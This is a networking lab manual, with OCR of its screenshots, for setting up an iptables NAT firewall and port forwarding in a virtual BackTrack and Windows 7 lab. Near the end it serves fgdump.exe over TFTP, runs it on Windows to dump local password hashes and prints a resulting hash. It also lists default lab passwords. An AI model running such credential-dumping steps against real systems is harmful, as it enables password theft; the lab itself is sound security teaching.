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In this lab, students will enumerate hosts on the network using various tools.

This lab includes the following tasks:

· 1 - Setting up the Network
· 2 - Enabling Services and Configuring Firewall Rules
· 3 - Testing the Firewall

You should be aware of the common terms that are relevant within the “Configuring Access Control Lists on a Linux Based Firewalls” lab to successfully complete it.

Iptables – A command line tool that allows you to create Firewall rules. 

route add – This command allows you to add a default gateway on a Linux system.

netstat – This command will allow you to view active TCP and UDP connections.

NAT – Network Address Translation will allow internal hosts to reach the external network through a single IP Address. Most firewalls can be configured to perform NAT.

nmap – The command will allow you to check for open TCP and UDP ports.
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The information in the table below will be needed in order to complete the lab.  The task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the Windows 7 Machine, Internal Back Track 5 R3 and Sniffer machines.

	
Windows 7 Professional 

	216.1.1.200

	
student password

	password

	
Internal BackTrack 5 R3

	192.168.1.50

	
BackTrack 5 R3 root password

	
toor


	
Sniffer

	NO IP

	
Administrator password

	sniffer

























[bookmark: _Toc404793617]Setting up the Sniffer

In this section, we will reconfigure the BackTrack machine on the internal network to communicate with the sniffer machine, running Linux. The Sniffer will be reconfigured into a Linux based firewall. In order to set up this network, we will set the IP Addresses for both of the sniffer machines (Linux OS) interfaces as well as the Internal BackTrack.

[bookmark: _Toc348364218][bookmark: _Toc404793618]Logging on to the Sniffer

The Linux distribution BackTrack is installed on the sniffer machine. BackTrack is a distribution used by security professionals for pentration testing and forensics. 

Log on to the sniffer

1. On the Windows 2008 Server Sniffer click PC in the upper left and Send Ctrl+Alt+Del in order to log on to the Windows 2008 server.

[image: ]

Figure 1:  Logging on to 2008 Server (Sniffer Machine)

2. Enter sniffer for the Administrator password to the Windows 2008 Server.

[image: ]

Figure 2:  Logging On
3. Click on the start button. Click the arrow to the far right and select restart. 

[image: ]

Figure 3:  Restart the Firewall. 

4. Select the second reason in the list from the drop down box and click ok.

[image: ]

Figure 4:  Shutdown Reason
5. Select the 2nd choice in the menu and hit enter to boot into Linux.

[image: ]

Figure 5:  Select the Second Choice

6. Type the following command to initialize the GUI (Graphical User Interface): 
	root@bt:~#startx
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Figure 6:   Logging on to the Sniffer




7. Click the small blue arrow in the bottom right corner of the screen to adjust the resolution. Click accept configuration if the Desktop renders correctly.
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Figure 7:   Adjusting the Screen Resolution

8. [bookmark: _Ref331406106]Open a terminal on the Linux Sniffer system by clicking on the image to the right of Firefox in the task bar, in the bottom of the screen.
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Figure 8:   The Terminal Windows within BackTrack 






9. Type the following command to view active interfaces. 
root@bt:~#ifconfig
Only the loopback address, 127.0.0.1, is displayed.

[image: ] 

Figure 9:   No IP address, other than the Loopback Address of 127.0.0.1, is displayed

10. Type the following command to view all available interfaces on the system:
	root@bt:~#ifconfig -a

[image: ]

Figure 10:  All Available Interfaces on the System 

11. Type the following command to set the internal IP Address of the Sniffer:
root@bt:~# ifconfig eth0 172.16.1.1 netmask 255.255.255.0 up

[image: ]

Figure 11:  Set the IP Address

12. Type the following command to set the IP Address of the Sniffer Server:
root@bt:~# ifconfig eth1 216.80.80.80 netmask 255.0.0.0 up
	
[image: ]

Figure 12:  Set the IP Address

In order to configure, and set up the services required for compliance, perform the following steps on the Internal Machine running BackTrack Linux (version 5 R3). 

Note: Just click in the Window and hit enter if BackTrack is displaying a black screen.

13. Type root for the login and toor (root spelled backwards) for the password. 


Note: The password of toor will not be displayed when you type it for security purposes.
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Figure 13:  Logging in as root 

14. Type the following command to start the Graphical User Interface (GUI).
root@bt:~# startx

[image: ]

Figure 14:  The startx command 









15. Open a terminal on the Linux system by clicking on the picture to the right of the word System in the task bar in the top of the screen in BackTrack version 5 R3.

[image: ]

Figure 15:  The Linux Terminal 

16. To set a static address on the Internal BT machine, type the following command:
root@bt:~# ifconfig eth2 172.16.1.50 netmask 255.255.255.0 up
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Figure 16:  Set the IP Address

17. Type the following command to set the Gateway of the Internal BackTrack 5 machine:
root@bt:~# route add default gw 172.16.1.1

[image: ]

Figure 17:  Set the Gateway

18. Type the following command to view the gateway of the Internal BackTrack5 machine:
root@bt:~# netstat -r

[image: ]

Figure 18:  View the Gateway



19. Type the following command to ping the gateway four times:
root@bt:~# ping 172.16.1.1 –c 4

[image: ]

Figure 19:  Pinging

20. Log on to Windows 7 as student with the password of password. 

[image: ]

Figure 20:  Logging on to the Windows 7 Machine

21. Open a command prompt by clicking on the shortcut on the Desktop.

[image: ]

Figure 21:  Opening the Command Prompt
22. Right click on the blue bar at the top of command prompt and go to properties.
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Figure 22:  Opening the Command Prompt

23. Click the Colors Tab. Select Blue (2nd from the left) and click ok.

[image: ]

Figure 23:  Properties of the Command Prompt









24. Type the following command to ping the external IP Address of the sniffer:
C:\>ping 216.80.80.80

[image: ]

Figure 24:  The ping command

[bookmark: _Toc404793619]Conclusion

IP Addresses can be configured on the Linux operating system using the ifconfig command. Gateways can be configured by using the route add command. The netstat –r command will allow you to view the IP Address of the router on a Linux box. A router itself will typically not have a gateway on the internal interface.  The ping command can be used to test for connectivity between all of the IP Addresses, as long as ICMP is not blocked. 

[bookmark: _Toc348364220][bookmark: _Toc404793620]Discussion Questions

1. What could prevent the ping command from working?
2. What command will allow you to set a default gateway in Linux?
3. What command will allow you to view all interfaces on a Linux machine?
4. What switch in Linux will limit the number of pings (prevent continuous ping)?















[bookmark: _Toc404793621]Enabling Services and Configuring Firewall Rules

In earlier labs, we had a chance to look at the Microsoft Firewall and the Endian Firewall which were configured through Graphical User Interface (GUI). Firewall Rules can also be configured through the command line on a Cisco router or on a Linux operating system using iptables. We will configure NAT and allow incoming traffic using iptables. 

[bookmark: _Toc404793622]Enabling NAT and Firewall Rules

1. Traffic is currently not being routed through the Linux sniffer machine. Verify that Internal BackTrack cannot ping the external Windows 7 machine by typing:
root@bt:~# ping 216.1.1.200 –c 1

[image: ]

Figure 25:  Failed Ping

We will need to type three commands in the terminal to enable NAT on the sniffer box.
Switch to the sniffer box running the BackTrack Linux (Version 4 R 2).

2. Type the following command to set up NAT on the Linux with iptables: root@bt:~# iptables --table nat --append POSTROUTING --out-interface eth1 –j MASQUERADE
	
[image: ]

Figure 26: NAT with iptables 

3. Type the following command to set up NAT on the Linux with iptables:
root@bt:~# iptables --append FORWARD --in-interface eth0 -j ACCEPT

[image: ]

Figure 27: NAT with iptables 

4. Next, type the following to enable IP forwarding on the system:
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

[image: ]

Figure 28: Enable IP Forwarding 
5. Verify that the Internal BackTrack can ping external Windows 7 by typing:
root@bt:~# ping 216.1.1.200  –c  4

[image: ]

Figure 29:  Working Ping

We will need to type four commands in the terminal to allow incoming traffic that will be redirected from the Public IP of 216.80.80.80 to the internal IP of 172.16.1.50.

6. To view the current running services on the Internal BackTrack, type the following:
root@bt:~# netstat -tan

[image: ]

Figure 30:  The netstat command

Currently, the BackTrack system is listening on port 21 because VSFTPD has already been configured and installed on this system. Apache and SSHD also need to be running.

The netstat command is pretty much universal, and works across multiple platforms such as  Linux, Microsoft Windows, UNIX, and Mac OS X. Nmap also works across multiple platforms, but it is a third party utility and needs to be installed.

7. To view the current running services on the Internal BackTrack, type the following command:
root@bt:~# nmap 127.0.0.1

[image: ]

Figure 31:  Using nmap to scan localhost
8. Type the following command on the Sniffer to redirect incoming requests from the Internet to the Internal BackTrack machine running FTP Server:
root@bt:~# iptables -t nat -A PREROUTING -p tcp -d 216.80.80.80 --dport  21 -j DNAT 
--to-destination 172.16.1.50:21

[image: ]

Figure 32: Traffic Redirection 

9. From Windows 7, perform an nmap scan of the Linux Public IP Address.
C:\>nmap 216.80.80.80

[image: ]

Figure 33: Nmap Scan 

10. To start Apache on the Internal BackTrack machine, select BackTrack from the menu bar, then select Services, then select HTTPD, then select apache start. A window will appear and then close.

[image: ]

Figure 34:  Starting Apache
11. To view the current running services, type the following command:
root@bt:~# netstat -tan

[image: ]

Figure 35:  The netstat command

After starting Apache, the BackTrack system is now also listening on port 80.

12. Type the following command on the sniffer to redirect incoming requests from the Internet to the internal BackTrack machine running HTTP Server:
root@bt:~# iptables -t nat -A PREROUTING -p tcp -d 216.80.80.80 --dport 80 -j DNAT 
--to-destination 172.16.1.50:80

[image: ]

Figure 36: Traffic Redirection 

13. From Windows 7, perform an nmap scan of the Linux Public IP Address.
C:\>nmap 216.80.80.80

[image: ]

Figure 37: Nmap Scan 

Note: When an Internet IP Address is scanned, the MAC address will not be displayed. The address appears because this is a simulated environment, not the real Internet.
Before starting ssh, the ssh keys must be generated on the Internal BackTrack system.


14. Type the following command to generate the keys for SSH on Internal BackTrack: 
root@bt:~#sshd-generate

[image: ]

Figure 38:  Generating the keys

15. On the Internal BackTrack, to start SSH, select BackTrack from the menu bar, then select Services, then select SSHD, then select sshd start. A window will appear and then close.

[image: ]

Figure 39:  Starting Apache 




16. To view the current running services, type the following command:
root@bt:~# netstat -tan

[image: ]

Figure 40:  The netstat command

After starting SSHD, the BackTrack system is now also listening on port 22.

17. To view the current running services, type the following command:
root@bt:~# nmap 127.0.0.1

[image: ]

Figure 41:  Using nmap to scan localhost










Next, we will need to remove the hidden file in root’s home directory which will automatically set the IP Address to 192.168.1.50 when the root account logs in.

18. Type the following on the Internal BackTrack to remove the .bash_profile file.  
root@bt:~# rm  –rf   /root/.bash_profile

[image: ]

Figure 42:  Removing the .bash_profile
19. Type the following command on the sniffer to redirect incoming requests from the Internet to the internal BackTrack machine running SSH:
root@bt:~# iptables -t nat -A PREROUTING -p tcp -d 216.80.80.80 –dport 22 -j DNAT 
--to-destination 172.16.1.50:22

[image: ]

Figure 43: Traffic Redirection 

20. From Windows 7, perform an nmap scan of the Linux Public IP Address.
C:\>nmap 216.80.80.80

[image: ]

Figure 44: Nmap Scan 

21. On Internal BackTrack, make a directory called tftpboot by typing the following command:
root@bt:~# mkdir  /tftpboot

[image: ]

Figure 45:  Make a Directory
22. Start the tftp server on Internal BackTrack by typing the following command: 
root@bt:~# atftpd  --daemon  /tftpboot

[image: ]

Figure 46:  Start TFTP

23. Type the following command to verify that TFTP is listening on UDP port 69: 
root@bt:~# netstat -uan

[image: ]

Figure 47:  The netstat command

24. Type the following command to verify that TFTP is listening on UDP port 69: 
root@bt:~# nmap  –sU  127.0.0.1  |  grep  69

[image: ]

Figure 47:  UDP port scan

25. Copy fgdump to the webroot of BackTrack by typing the following:
root@bt:~# cp /pentest/windows-binaries/passwd-attack/fgdump.exe  /tftpboot

[image: ]

Figure 48:  File copy

26. Verify that the malicious file is present in the tftpboot directory by typing:
root@bt:~# ls  /tftpboot

[image: ]

Figure 49:  Viewing Files

27. Type the following command on the sniffer to redirect incoming requests from the Internet to the internal BackTrack machine running TFTP Server:
root@bt:~# iptables -t nat -A PREROUTING -p udp -d 216.80.80.80 --dport 69 -j DNAT --to-destination 172.16.1.50:69

[image: ]

Figure 50: Traffic Redirection 
28. From Windows 7, perform an nmap scan of the Linux Public IP Address.
C:\>nmap –sU 216.80.80.80 –p 69

[image: ]

Figure 51: Nmap Scan 



[bookmark: _Toc335601636][bookmark: _Toc348364223][bookmark: _Toc404793623]Conclusion

In order for external users on the WAN (Internet) to use services on a machine on the internal network, the firewall must be configured to allow requests to be re-directed to an internal machine. Commands like nmap and netstat can be utilized by the network administrator in order to determine if services are listening and ports are open.


[bookmark: _Toc335601637][bookmark: _Toc348364224][bookmark: _Toc404793624]Discussion Questions

1. What does NAT stand for?
2. What command is used to set up NAT rules on a Linux machine?
3. Why would an administrator run the nmap scan on 127.0.0.1?
4. What command is used to create SSH keys on a Linux machine?








[bookmark: _Toc404793625]Using Internal Services from an External Machine

Even though we have used nmap to verify that the correct ports are open, a good network administrator will also test each of the services to verify that they are working correctly. In this scenario, we will test the FTP, SSH, and HTTP services of the firewall.


[bookmark: _Toc404793626]Testing the iptables Firewall

1. On Internal BackTrack, Type the following to copy picture files to the FTP root:
root@bt:~# cp   /usr/share/wallpapers/backtrack/r*   /home/hax0r

[image: ]

Figure 52:  Copy Files

2. On Internal BackTrack ,type the following to list the files within FTP root:
root@bt:~# ls   /home/hax0r

[image: ]

Figure 53:  View FTP root Files

3. On Internal BackTrack, type the following to copy picture files to the HTTP root:
root@bt:~# cp   /usr/share/wallpapers/backtrack/r*   /var/www

[image: ]

Figure 54:  Copy Files

4. Type the following command to list the files within FTP root:
root@bt:~# ls   /var/www

[image: ]

Figure 55:  View HTTP root Files



5. From the Windows 7 machine, open putty.exe on the desktop.

[image: ]

Figure 56:  Putty
  
6. Type 216.80.80.80 in the host name box and click open.

[image: ]

Figure 57:  Connecting to the SSH Server








7. Click “Yes” to add the host key to cache.

[image: ]

Figure 58:  Add host key to cache

8. Log in as root with the password of toor. Close the SSH session.

[image: ]

Figure 59:  SSH connection

9. From Windows 7 command prompt, type the following command to connect to the VSFTPD server:
C:\>ftp 216.80.80.80

[image: ]

Figure 60:  Connecting to the FTP Site


Note: The username hax0r uses a zero, not the letter 0.

10. For the username, type hax0r.

[image: ]

Figure 61:  Typing hax0r for the username
Note: The FTP password will not be displayed when you type it for security purposes.

11. Type hacker for the password. You should receive the login successful message.

[image: ]

Figure 62:  Typing the password of hacker

12. From Windows 7, type the following to list the files on the VSFTPD server:
ftp>ls

[image: ]

Figure 63:  Listing Files on the FTP Site
13. From Windows 7, type the following command to switch to binary mode:
ftp>bin

[image: ]

Figure 64:  Connecting to the FTP Site


14. From Windows 7, type the following to download the PNG file from the FTP Site (After typing the command, you should receive the message transfer complete) :
ftp>get r3-a.png

[image: ]

Figure 65:  Downloading a File from the FTP Site

15. From Windows 7, type the following to leave the FTP session:
ftp>bye

[image: ]

Figure 66:  Leaving the FTP Site
















16. From Windows 7, type the following to view the downloaded PNG file:
C:\>mspaint r3-a.png

[image: ]

Figure 67:  Viewing the Downloaded File

17. From Windows 7, click the shortcut on the desktop to go to Firefox:

[image: ]

Figure 68:  Opening Firefox










18. In the URL bar, type http://216.80.80.80/r3-b.png to access the Public Website. 

[image: ]

Figure 69:  The Webpage

19. From Windows 7, type the following to download the fgdump.exe file:
C:\>tftp -i 216.80.80.80 get fgdump.exe

[image: ]

Figure 70:  TFTP

20. Type fgdump. Hit Control + C if the program takes longer than a few minutes.
C:\>fgdump.exe

[image: ]

Figure 71:  Executing fgdump

21. Type the following command to dump the password hashes:
C:\>type 127.0.0.1.pwdump

[image: ]

Figure 72:  Dumping the Hashes 


[bookmark: _Toc350500331][bookmark: _Toc364288750][bookmark: _Toc404793627]Conclusion

While using nmap is an effective way to verify ports are open, it will not be as effective as testing each service. In this section of the lab, we tested the SSH, FTP, HTTP, and TFTP services. The successful logins and file transfers proved that the services were operating properly. These quality assurance checks are essential for production environments.


[bookmark: _Toc348364228][bookmark: _Toc404793628]Discussion Questions

1. What is the command to download a file with tftp?
2. What does the program fgdump.exe do?
3. What command needs to be typed in ftp to switch to binary mode?
4. Where is the default web root directory located in BackTrack Linux?
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BackTrack 5 R3 - 32 Bit bt ttyl
bt login: root

Last login: Tue Aug 13 22:37:12 EDT 2013 on ttyl
Linux bt 3.2.6 #1 SMP Fri Feb 17 10 5 EST 2012 i686 GNU/Linux

Systen information disabled due to load higher than 1.0
root@bt:# _




image19.png
root@bt:"# startx_
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root@bt:~# ||





image21.png
root@bt:~# ifconfig eth2 172.16.1.50 netmask 255.255.255.0 up
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|ruut@bt:~# route add default gw 172.16.1.1
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root@bt:~# netstat -r
Kernel IP routing table

Destination Gateway Genmask Flags MSS Window irtt Iface
default 172.16.1.1 0.0.0.0 uG 00 0 eth2
172.16.1.0 * 255.255.255.0 U 00 0 eth2
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root@bt:~# ping 172.16.1.1 -c 4

PING 172.16.1.1 (172.16.1.1) 56(84) bytes of data.

64 bytes from 172.16.1.1: icmp_segq=1 tt1=64 time=18.5 ms
64 bytes from 172.16.1.1: icmp_se tt1=64 time=0.793 ms
64 bytes from 172.16.1.1: icmp_seq=3 ttl=64 time=0.513 ms
64 bytes from 172.16.1.1: icmp_seq=4 tt1=64 time=0.674 ms

--- 172.16.1.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 0.513/5.121/18.504/7.727 ms
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Administrator: cmd - Shortcut
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\>ping 216.80.80.80

Pinging 216.80.80.80 with 32 bytes of data
Reply from 216.80.80.80: bytes=32 time<lms
Reply from 216.80.80.80: bytes=32 time<lms
Reply from 216.80.80.80: bytes=32 time<lms
Reply from 216.80.80.80: bytes=32 time<lms

FRER

Ping statistics for 216.80.80.80:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
ppproximate round trip times in milli-seconds:

Minimum = Oms, Maximum = Oms, Average = Oms
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root@t:~# ping 216.1.1.200 -c 1

PING 216.1.1.200 (216.1.1.200) 56(84) bytes of data.

--- 216.1.1.200 ping statistics ---

1 packets transmitted, © received,

100% packet loss

time Oms
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~# iptab1e§ --table nat --append POSTROUTING --out-interface ethl -j MASQUERADE

rootébt
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root@bt:~# iptables --append FORWARD --in-interface eth® -j ACCEPT
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root@bt:-# echo 1 > /proc/sys/net/ipv4/ip_forward
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root@bt:~# ping 216.1.1.200 -c 4
.1.1.200 (216.1.1.200) 56(84) bytes of data.

PING 216
64 bytes
64 bytes
64 bytes
64 bytes

from 216.1.1.200:
from 216.1.1.200:
from 216.1.1.200:
from 216.1.1.200:

icmp_seq=1 ttl=127 time=4.00 ms
icmp_seq=2 ttl=127 time=0.350 ms
icmp_se tt1=127 time=0.359 ms
icmp_seq=4 ttl=127 time=0.312 ms
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root@bt:~# netstat -tan
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address
tcp [¢] 0 127.0.0.1:7337 0.0.0.0:*

tcp [¢] 0 0.0.0.0:21 0.0.0.0:*

tcpb ] 0 : VEEYS *

State

LISTEN
LISTEN
LISTEN
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root@bt:~# nmap 127.0.0.1

Starting Nmap 6.01 ( http://nmap.org ) at 2014-05-26 13:28 EDT
Nmap scan report for localhost (127.0.0.1)

Host is up (0.0000050s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE

21/tcp open ftp

INmap done: 1 IP address (1 host up) scanned in 0.54 seconds
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root@t:~# iptables -t nat -A PREROUTING -p tcp -d 216.80.80.80 --dport 21 -j DNAT --to-destination 172.16.1.50:21
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C:h>nmap 216.80.80.80

Starting Nmap 5.51 C http://nmap.org ) at 2014-11-26 18:22

Nmap scan report for 216.80.80.80

Host is up (0.00s latency)

Not shown: 999 closed ports

PORT  STATE SERVICE

21/tcp open Ftp

MAC Address: 00:50:56:9C:F3:0D (vMware)
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root@ht:~# netstat -tan
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address
0 127.0.0.1:7337
0.0.0.0:80
0.0.0.0:21

tcp
tcp
tcp
tcp6

cooo

0
0
0

337

Foreign Address
0.0.0.0:*
0.0.0.0:*
0. L0:%

State

LISTEN
LISTEN
LISTEN
LISTEN
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root@t:-# iptables -t nat -A PREROUTING. -p tcp -d.216.80.80.80 --dport 80 -j DNAT --to-destination 172.16.1.50:80
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C:\»>nmap 216.80.80.80

Starting Nmap 5.51 C http://nmap.org ) at 2014-11-26

Nmap scan report for 216.80.80.80

Host is up (0.00s latency)

Not shown: 998 closed ports

PORT  STATE SERVICE

21/tcp open Ftp

B0/tcp open http

MAC Address: 00:50:56:9C:F3:0D (vMware)
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root@bt:~# sshd-generate

Generating public/private rsal key pair

Your identification has been saved in /etc/ssh/ssh_host key.
Your public key has been saved in /etc/ssh/ssh_host_key.pub.
The key fingerprint is:
71:49:a3:79:9a:0a:a5:88:8a:€9:€6:04:34:9f:ae:88 root@bt

The key's randomart image is:

+--[RSAL 2048]----+

o
o
[

Generating public/private rsa key pair
Your identification has been saved in /etc/ssh/ssh_host_rsa key.
Your public key has been saved in /etc/ssh/ssh_host rsa key.pub.
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root@bt:~# netstat -tan
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address

tcp
tcp
tcp
tcp
tcp6
tcp6

coocooo

coocooo

127.0.60.1:7337

Foreign
0.0.0.0:

0.
0.
0.

EECRR:
EECRR:
X R-R:

o
o
*

Address

%

State

LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
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root@bt:~# nmap 127.0.0.1

Starting Nmap 6.01 ( http://nmap.org ) at 2014-05-26 13:55 EDT
Nmap scan report for localhost (127.0.0.1)

Host is up (0.0000040s latency).

Not shown: 997 closed ports

PORT  STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

INmap done: 1 IP address (1 host up) scanned in 0.04 seconds
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rm -rf /root/.ba: rofile
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root@t:~# iptables -t nat -A PREROUTING -p tcp -d 216.80.80.80 --dport 22 -j DNAT --to-destination 172.16.1.50:22
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c:\>nmap 216.80.80.80
Starting Nmap 5.51 C http://nmap.org ) at 2014-11-21

Nmap scan report for 216.80.80.80
Host is up (0.0091s latency)

Not shown: 997 closed ports

PORT  STATE SERVICE

21/tcp open ftp

277tcp open ssh

B0/tcp open http

IAC Addross: 00:50:56:9c:F3:00 (wMware)
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root@ht:~# mkdir /tftpboot
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|rubt@bt:~# atftpd --daemon /tftpboot
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root@bt:~# netstat -uan
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State
udp [¢] 0 0.0.0.0:69 0.0.0.0:*
udp6 0 0 : 38973 ::1:38973 ESTABLISHED
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ruutébt:~# nmap -sU 127.0.6.1 | grep 69
59/udp open|filtered tftp
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\ruut@bt:~# cp /pentest/windows-binaries/passwd-attack/fgdump.exe /tftpboot/
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root@bt:~# ls /tftpboot/
fgdump.exe
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root@bt:-# iptables -t nat -A PREROUTING -p udp -d 216.80.80.80 --dport 69 -j DNAT --to-destination 172.16.1.50:69
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C:\»nmap -sU 216.80.80.80 -p 69
Starting Nmap 5.51 C http://nmap.org ) at 2014-11-21

Nmap scan report for 216.80.80.80

Host is up C0.00s latency)

PORT  STATE SERVICE

69/udp open|filtered tftp

MAC Address: 00:50:56:9C:F3:0D (vMware)




image58.png
root@bt:~# cp /usr/share/wallpapers/backtrack/r* /home/hax0r
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root@bt:~# 1s /home/hax0r
by.txt hi.txt r3-a.png r3-b.png r3-c.png wget.exe
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root@bt:~# cp /usr/share/wallpapers/backtrack/r* /var/www
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root@bt:~# 1s /var/www
index.html PwDump.exe r3-a.png r3-c.png
LsaExt.dll pwservice.exe r3-b.png wstool
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PUTTY Security Alert ==

The server's hast key is nat cached in the registry. You
have no guarantee that the server is the computeryou
think itis.

The server's sa2 key fingerprint s

sshorsa 2048 dT:eB 60800l 2RSS0 6420 HOZEE
I you trust this host, hit Yes to add the key to

PUTTY's cache and cany on connecting,

Ifyou want to cany on connecting just ance, without
adding the key to the cache, hit No,

Ifyou do not trust this host, hit Cancel to abandan the
connection.

e [ m
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login as: root
rootd216.80.50.80's passvor
Linux bt 3.2.6 §1 SHP Fri Feb 17 10:40:

S EST 2012 1686 GNU/Linux

System information as of Tue Sep 2 21:01:55 EDT 2014

System load: 0.0 Processes: 116

Usage of /:  58.1% of 19.066B Users logged in: 1

Henory usage: 12% P address for ethz: 172.16.1.50
Suap usage: 0%

There is 1 zombie process.

Graph cthis dsta snd manage this system av htops://landscape.canonical.con/
Last login: Tus Sep 2 20:53:20 2014 from 216.1.1.200
rootants 4 I
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icrosoft windows [Version 6.1.7600]
opyright (c) 2009 Microsoft Corporation. A1l rights reserved.

:\>ftp 216.80.80.80

onnected to 216.80.80.80.
220 (vsFTPd 2.2.2)

User (216.80.80.80: (nonel): o
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icrosoft windows [Version 6.1.7600]
opyright (c) 2009 Microsoft Corporation.

:\>ftp 216.80.80.80

onnected to 216.80.80.80.

220 (vsFTPd 2.2.2)

User (216.80.80.80: (noned): haxOr
331 PTease specify the password.
Password:
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icrosoft windows [Version 6.1.7600]
opyright (c) 2009 Microsoft Corporation.

:\>ftp 216.80.80.80

onnected to 216.80.80.80.

220 (vsFTPd 2.2.2)

User (216.80.80.80: (noned): haxOr
331 PTease specify the password.
Password:

230 Login successful.

Fips
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ftp> 1s

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

by txt

hi . txt

r3la.png

r3-b.png

r3-c.png

get. exe

226 Directory send OK.

Fip: 56 bytes received in 0.00Seconds 56000.00kbytes/sec
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Ftp> bin
200 switching to Binary mode.
Ftp> o
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ftp> get ri-a.png

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data conmection for r3-a.png (1784547 bytes).
226 Transfer complete.

Frp: 1784547 bytes received in 0.0Seconds 118969.B0Kbytes/sec.

s
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Ftp> bye
271 Goodbye.
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\>tftp -i 216.80.80.80 get fgdump.exe
ransfer successful: 974848 bytes in 1 second(s), 974848 bytes/s
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:\>Fgdump . exe
Fooump 2.1.0 - fizzgig and_the mighty group at foofus.net
ritten to make jOmOkun's 1ife just a bit easier

opyright (C) 2008 Fizzgig and foofus.net

[fgdump comes with ABSOLUTELY NO WARRANTY!

his is free software, and you are welcome to redistribute it
under certain conditions; see the COPYING and README files for
ore information.

o parameters specified, doing a local dump. Specify -7 if you are
1p.

-~ 'session ID: 2014-06-28-12-30-34 ---

Starting dump on 127.0.0.1

v Beginning local dump *¥
05 (127.0.0.1): Microsoft Windows Unknown Professional (uild 76003
passwords dumped successfully

ache dumped successfully

otal failed: 0
otal successful: 1
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\>type 127.0.0.1. pwdump
AT e P Lor: 500: D PASSWORDY V¥ b4k bk b4k b4k O PASSIORDY ¥ ¥4k v sy
et 2012 NG PASSWORDY #4 3% P45 d sk bk v 4k O PASSIORDY £ %85 0¥k bk

student:1000:NO PASSWORDY ¥ ¥ ¥ i 8846F7EAEE8FBII7ADO6BDD83OB7586C
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